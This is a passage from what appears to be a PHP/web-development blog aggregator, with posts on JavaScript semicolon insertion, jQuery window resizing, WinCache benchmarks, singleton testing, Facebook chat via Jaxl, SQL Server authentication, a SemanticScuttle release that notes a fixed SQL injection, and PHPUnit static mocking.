return {
a : 'b'
};
}();
alert(foo.a); // b
The code above simply creates a variable called foo, which is equal to the returned object. When we alert(foo.a), we, as expected, see an alert box with a value of ‘b.’ Now, simply take that opening curly brace, from the return statement, and push it down to its own line, like so.
return
{
a : 'b'
};
If you run it in your browser again, you’ll receive a Firebug error, logging that “foo is undefined.” What the hell!?
So why does JavaScript do this? It’s because of something called “semicolon insertion.” Essentially, JavaScript will attempt to correct our bad coding. If, for instance, it thinks that you’ve left off a closing semicolon, it’ll go ahead and add it on for you. Though this was originally intended to be a convenience, especially for newer JavaScripters, it’s actually a very bad thing when you don’t have control over your own code, as demonstrated above.
In our example, there’s no way to determine why foo.a returns “undefined. ” Now that we’re aware of semicolon insertion, the reason it’s undefined is because JavaScript will add a semicolon to the end of the return statement.
return; // JS incorrectly adds this semicolon.
{
a : 'b'; // It'll add a semicolon here as well, because it doesn't realize that this is an object.
};
So, if we immediately return, it has no idea what the property “a” is, thus, resulting in “undefined.”
ConclusionAs I mentioned at the beginning of this article, I love JavaScript and use it daily. But that doesn’t mean that there aren’t some really awful errors in the language. I’d love to hear your thoughts in the comments! Thanks for reading. Retweets and Diggs are always appreciated! Thanks so much to Jeremy McPeak, Doug Crockford, Nicholas Zakas, and John Resig: I referred to your tutorials and books when preparing this article.

Christian Flickinger has written up a new blog post today showing some of the benchmarks he's worked up around the performance of various caching tools with the WinCache caching tool from Microsoft coming out as a leader.
The [WinCache] documentation makes no mention of Apache, only IIS. I decided to give it a try, and to my amazement, WinCache worked in Apache on Windows. After that I decided to compare the performance of WinCache with the other available options for Windows+Apache.
He defines his testing environment - hardware, software and the different opcode caching tools - and includes his testing technique. His results, measured in requests per second, are interesting but show that, for his configuration, the WinCache tool's performance topped the others on Windows.
It’s becoming more and more common for web sites and applications to provide different layouts dependent upon the user’s window size, or resolution. This can be accomplished in a variety of ways, ranging from CSS to JavaScript solutions.
In this video quick tip, we’ll learn how laughably simple it is to do this with a touch of jQuery, and the resize() method.
By utilizing jQuery’s “resize()” method, we can easily listen for when the user changes the width of their browser window.
function checkWindowSize() {
if ( $(window).width() > 1800 ) {
$('body').addClass('large');
}
else {
$('body').removeClass('large');
}
}
$(window).resize(checkWindowSize);
Then, subsequently, we target our desired CSS properties accordingly.
#container {
width: 800px;
height: 1000px;
background: #e3e3e3;
margin: auto;
}
/* Change container size for larger windows. */
.large #container {
width: 1000px;
}
#nav {
width: 100%;
height: 100px;
border-bottom: 1px solid white;
background: #999999;
}
.large #nav {
float: left;
width: 200px;
border-bottom: none;
border-right: 1px solid white;
height: 1000px;
}

Sebastian Bergmann has written up a post for his blog recently that looks at unit testing singletons, something that's been rumored as being some of the hardest to test.
I frequently quote Miško Hevery with "It is hard to test code that uses singletons." And then my audience asks me... Why is it hard to test code that uses singletons? Lets have a look at the default implementation of the Singleton design pattern in PHP.
He defines a singleton first, showing how it's used to create single instances of objects and, because of this, cannot be tested easily because there's no way to know you're getting a clean instance every time. Dependency injection can help with the problem by allowing you to pass in a "mock" instance of the singleton class each time. He also mentions some variations on singletons that could make it easier to test in the future.

In a new post to the Ibuildings blog today Ivo Jansch has taken a look at the productivity that PHP allows developers (from a development perspective) and a case that he's come across that proves his point.
At the [Sogeti's Engineering World conference] there was a coding contest. Contestants could team up and had to write an application that found the shortest route through an arbitrary maze. [...] It wasn't until the second to last session during the conference that Juliette, Erik, Ian and Felix decided to not go see a talk but to attempt the contest.
The solution was presented to a largely non-PHP audience and benchmarked against some of the other entries created with other languages. The results were pretty amazing - while the PHP version didn't work through the problem the fastest, it did have a much shorter development time and lines of code.

With the announcement Facebook as made about opening up their chat service to outside connections, several developers are taking the opportunity to create their own scripts to interface with the service. One developer, Abhinav Singh has posted a tutorial about the sample application he's created to do just that.
Today facebook officially announced availability of it's chat through jabber/xmpp clients. This is a big win for XMPP, with almost 400 million new probable users adding into XMPP club. In this post, I will demonstrate how to connect to facebook chat servers using Jaxl client library in PHP. It can further be used to make custom chat bots for facebook.
He shows how to use the Jaxl library to make the connection, setting up some basic environment variables and making the connection to the server. The index.php file that comes with the library reads this config file and sends a default message to the server and returns the response.

Continuing in his SQL Server driver series, Brian Swan has a new post to his MSDN blog about handling authentication with the integrated Windows support that makes connecting to a server simpler.
I must confess that when I first tried using Windows authentication with the driver, I was puzzled. I was logged in to my computer as Microsoftbrian.swan, and I know that is a valid login for my database server. [...] he syntax for using Windows Authentication with the driver was easy, but understanding what identity was being used in the connection attempt was confusing.
He finally figured it out, though - the identity of the user on the connection would always be the user the web server was running as. With this knowledge, he was then able to look into other options that he could use to fine tune the connection with the FastCGI component and its impersonation abilities.
Popular posts from PHPDeveloper.org for the past week:
After a pause of a bit more than three months since the last release, SemanticScuttle - your own social bookmark manager - has been released in version 0.96.0 and 0.96.1. Highlights in this release are support for external authentication, Zeroconf support, API fixes and extensions as well as a working workaround for the infamous www-directory problem on shared hosts.
Note that thanks to the open source nature of SemanticScuttle, the "social" bit can completely be removed. Your private bookmarks are really private when they are stored on a server you can trust!
External authenticationEspecially in companies or organizations, almost no piece of software is used on its own. Mostly there is an existing software stack that new software needs to fit in, and often - and in the simplest form - this means integration in the central user database for authentication.
A user database may be a directory server that is accessible via LDAP, or a simple user/password table in a database somewhere on a central server. Or the company's IMAP server which knows all users anyway.
With the latest incarnation of SemanticScuttle, verifying a user against all of these - and many more - authentication services is possible, thanks to the usage of PEAR's Authentication package. SemanticScuttle has extensive documentation about the setup of external authentication in doc/authentication.txt.
Zeroconf supportPart of Zeroconf, formerly Bonjour, is a technology to automatically discover services on the local network. Plug in your laptop in a new environment, and with the right tools you instantly see the important services: SSH, FTP, [HTTP,] VNC and others.
An increasing number of tools make use of Zeroconf to enable configuration-less interfaces; a notably example is gmpc, the Gnome Music Player daemon. Instead of manually configuring each single MPD server on the network, gmpc automatically discovers all available ones via Avahi, the leading Zeroconf implementation for Linux. No need to search for IP addresses or port numbers - gmpc simply has a menu with all local MPD servers to select from.
Another example is Apple's Safari browser, which has a special bookmark folder listing all Zeroconf addresses for the HTTP protocol.
To assist you in providing bookmarks for all local users, SemanticScuttle supports generating Avahi service files: All bookmarks tagged with zeroconf (configurable of course) get exported into service files by scripts/avahi-export.php. The script should be run via a cron job.
... and a dead releaseApart from the new features described above, the usual assortment of bug fixes and small feature requests have found their way into the code - including a solution for the "www" problem that users without access to the server configuration had.
That fix apparently broke all of SemanticScuttle's API methods, leading to a dead-in-the-water release 0.96.0. One day later, I had to release version 0.96.1 fixing that issue (which by the way was a breeze thanks to the phing build-and-release script).
A security release in betweenWhile hacking on the code in january, I became aware of some really serious security problems in the tagging code. Because the tag names coming with the HTTP GET headers were not being escaped when they were used in SQL queries, anyone could do anything with your database - without even being logged in.
I fixed the issues immediately in svn trunk and merged the fixes back into the 0.95 and even in the long dead 0.94 branch. Versions 0.94.2 and 0.95.2 were released on the same day. Secunia verified the problems and issued advisory #38228.
You see: We care about security. To make upgrades - especially security upgrades - easier, I plan to setup an own PEAR channel server that you can install SemanticScuttle from. An upgrade to a new version will be as easy as typing
$ pear upgrade sc/semanticscuttle
The future is bright!
With PHPUnit 3.5 it will be possible to stub and mock static methods.
Consider the class Foo:
<?php
class Foo
{
public static function doSomething()
{
return static::helper();
}
public static function helper()
{
return 'foo';
}
}
?>
When testing Foo::doSomething() we want to decouple it from its dependency Foo::helper(). With PHPUnit 3.5 and PHP 5.3 as well as consistent use of late static binding (using static:: instead of self::) the following is possible:
<?php
class FooTest extends PHPUnit_Framework_TestCase
{
public function testDoSomething()
{
$mock = $this->getMock(
'Foo', /* name of class to mock */
array('helper'), /* list of methods to mock */
array(), /* constructor arguments */
'', /* nameTruncated by Planet PHP, read more at the original (another 4055 bytes)